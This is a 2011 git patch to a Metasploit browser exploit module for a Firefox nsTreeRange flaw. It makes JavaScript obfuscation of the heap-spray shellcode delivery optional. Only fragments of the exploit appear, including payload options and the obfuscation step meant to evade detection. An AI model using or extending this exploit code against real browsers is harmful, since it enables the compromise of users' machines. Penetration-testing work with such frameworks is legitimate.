From 55d60a1af22cae3d3207facad1405e68bcdfe10e Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Sat, 13 Aug 2011 02:28:49 +0000 Subject: [PATCH] Allow JavaScript obfuscation as an option git-svn-id: file:///home/svn/framework3/trunk@13556 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/browser/mozilla_nstreerange.rb | 21 ++++++++++++------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index ef4b2e86b5..8132606673 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -63,7 +63,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 0x1000, # depending on the spray size it's actually a lot more - 'BadChars' => "", }, 'Targets' => [ @@ -122,10 +121,11 @@ class Metasploit3 < Msf::Exploit::Remote 'DisclosureDate' => 'Feb 2 2011' )) - register_options( + register_options( [ OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]), OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]), + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]), ], self.class ) @@ -329,13 +329,18 @@ function #{@js_func}() { treeSel.invalidateSelection(); } EOS - opts = { - 'Symbols' => { - 'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count } - } - } - send_response(cli, obfuscate_js(custom_js, opts), { 'Content-Type' => 'application/x-javascript' }) + if datastore['OBFUSCATE'] + opts = { + 'Symbols' => { + 'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count } + } + } + + custom_js = obfuscate_js(custom_js,opts) + end + + send_response(cli, custom_js, { 'Content-Type' => 'application/x-javascript' }) end # Handle the payload